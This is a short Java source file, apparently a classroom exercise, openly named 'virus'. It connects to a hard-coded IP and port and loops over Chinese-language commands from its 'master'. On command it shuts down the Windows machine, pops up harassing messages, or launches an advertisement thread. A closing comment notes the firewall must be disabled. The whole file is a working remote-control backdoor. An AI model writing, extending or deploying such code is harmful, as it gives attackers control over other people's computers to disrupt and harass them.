package day03;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;

public class virus {

    public static void main(String[] args) throws IOException, InterruptedException {
        //cmd -- ipconfig
        Socket s = new Socket("192.168.215.110",6200);

        InputStream in = s.getInputStream(); //获取初级管道
        //包装一层高级流，可以中文
        DataInputStream dis = new DataInputStream(in);

        for (;;) {
            String text = dis.readUTF(); //接受主人发送的中文指令
            //判断主任发送的是什么指令，并且执行
            if (text.equals("关机")) {
                Runtime.getRuntime().exec("shutdown -s");
            }
            if (text.equals("骚扰")) {
                Runtime.getRuntime().exec("msg /server:localhost * 在吗？");
            }
            //shutdown -a
            if (text.equals("广告")) {
                new ad().start();
            }
        }
    }

}

/**
    1.对外发送消息，outputStream
    2.ip地址和端口号对应才能发送（关闭防火墙）
 **/
